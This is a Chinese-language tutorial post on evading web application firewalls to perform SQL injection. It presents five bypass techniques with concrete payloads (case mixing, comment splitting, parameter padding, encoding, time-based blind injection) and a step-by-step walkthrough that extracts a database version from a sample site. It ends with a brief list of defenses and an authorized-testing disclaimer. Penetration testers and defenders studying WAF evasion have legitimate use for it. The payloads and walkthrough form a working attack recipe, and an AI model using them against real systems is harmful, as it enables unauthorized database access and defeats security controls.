如何绕过WAF实现SQL注入攻击?

发布于:2025-04-13 ⋅ 阅读:(29) ⋅ 点赞:(0)
引言​

在渗透测试中,SQL注入(SQLi)始终是Web安全的核心漏洞之一。然而,随着企业广泛部署Web应用防火墙(WAF),传统的注入攻击往往会被拦截。本文将分享一种​​绕过WAF检测的SQL注入技巧​​,并通过实战案例演示如何利用该漏洞。
​注意:本文仅用于授权测试场景,未经许可的攻击行为属于违法!​


目录

​​一、WAF的检测原理与常见规则​​

​​二、绕过WAF的5种实用技巧​​

​​1. 大小写混合与随机空白符​​

​​2. 注释符内联分割​​

​​3. 超长参数污染​​

​​4. 编码混淆​​

​​5. 时间盲注绕过​​

​​三、实战案例:绕过云WAF获取数据库信息​​

​​目标环境​​

​​步骤演示​​

​​四、防御建议​​

​​五、总结​​


​一、WAF的检测原理与常见规则​

WAF通过正则表达式、语义分析或机器学习模型识别恶意请求。常见的拦截规则包括:

  1. 检测敏感关键词(如UNIONSELECTSLEEP)。
  2. 拦截特殊符号(如单引号'、注释符--)。
  3. 限制异常请求频率(如短时间内大量错误查询)。

​绕过思路​​:通过混淆攻击载荷,绕过正则匹配和语义分析。


​二、绕过WAF的5种实用技巧​

​1. 大小写混合与随机空白符​

WAF的正则规则通常区分大小写,通过混合大小写插入随机空白符可绕过检测。
​示例​​:

uNiOn%0AseLeCt%0A1,2,3--+
  • %0A为换行符的URL编码,破坏正则表达式匹配。
​2. 注释符内联分割​

利用注释符(/​**​/)分割关键词,干扰WAF的语义分析。
​示例​​:

UN/​**​/ION SEL/​**​/ECT 1,2,3 FROM users--+
​3. 超长参数污染​

提交超长参数触发WAF的缓冲区限制,导致其跳过检测。
​示例​​:

GET /search?q=test' AND 1=1--&padding=AAAA...(填充1MB垃圾数据)
​4. 编码混淆​

对攻击载荷进行多重编码(如URL编码、Unicode编码)。
​示例​​:

%55%4E%49%4F%4E%20%53%45%4C%45%43%54%20%40%40%76%65%72%73%69%6F%6E

(解码后为UNION SELECT @@version

​5. 时间盲注绕过​

利用时间盲注的延迟特性,避免触发WAF的响应内容检测。
​示例​​:

' AND IF(ASCII(SUBSTR(database(),1,1))=115, SLEEP(5), 1)--+
  • 通过响应时间差异判断数据库名首字母是否为s(ASCII码115)。

​三、实战案例:绕过云WAF获取数据库信息​

​目标环境​
  • 目标网站:https://vuln.example.com/product?id=1
  • 部署的WAF:某云厂商的默认规则集。
​步骤演示​
  1. ​探测注入点​​:
    输入id=1'触发错误,但被WAF拦截。
    ​绕过方法​​:改用id=1%27%0A'的URL编码+换行符)。

  2. ​判断字段数​​:
    使用ORDER BY探测字段数,但ORDER BY 5被拦截。
    ​绕过方法​​:

    id=1%27%0AOR%0A1%0AGROUP%0ABY%0A5--+
  3. ​联合查询提取数据​​:
    原始Payload被拦截:

    UNION SELECT 1,2,3,4,5

    ​绕过方法​​:

    id=-1%27%0AUnIoN%0A/*!SeLeCt*/%0A1,@@version,3,4,5%0A--+
    • /*!...*/为MySQL内联注释,强制特定版本执行。
  4. ​结果提取​​:
    页面返回数据库版本信息(如5.7.34),确认注入成功。


​四、防御建议​

  1. ​代码层防御​​:

    • 使用参数化查询(如PreparedStatement)。
    • 对输入进行严格白名单校验。
  2. ​WAF配置优化​​:

    • 启用语义分析引擎(而非仅正则匹配)。
    • 配置频率限制和异常行为检测。
  3. ​日志监控​​:

    • 记录所有异常请求,分析攻击特征。

​五、总结​

绕过WAF的SQL注入需要结合对目标防护规则的深入分析,灵活运用混淆技术。作为防御方,需通过多层防护机制(代码安全+WAF+监控)构建纵深防御体系。

​渗透测试的本质是模拟攻击以提升安全性,而非破坏。​​ 所有测试务必在授权范围内进行!


网站公告

今日签到

点亮在社区的每一天
去签到